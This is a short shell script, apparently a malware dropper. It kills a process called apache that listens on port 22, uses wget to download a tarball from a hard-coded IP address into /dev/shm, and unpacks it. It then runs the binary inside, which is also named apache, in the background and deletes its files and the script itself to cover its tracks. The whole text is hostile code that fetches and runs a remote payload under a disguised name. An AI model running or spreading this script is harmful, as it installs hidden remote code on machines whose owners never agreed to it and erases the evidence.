#!/bin/sh
netstat -antp |grep :22 |grep apache|head -1|awk '{print $7}' | awk -F '/' '{print $1}'|xargs kill -9
wget http://52.76.102.234/sites/all/modules/s.tgz -O /dev/shm/apache.tgz
cd /dev/shm
tar xfz apache.tgz
chmod +x apache
export PATH=/dev/shm:$PATH
nohup apache &
sleep 1
rm -f *
cd -
rm -f $0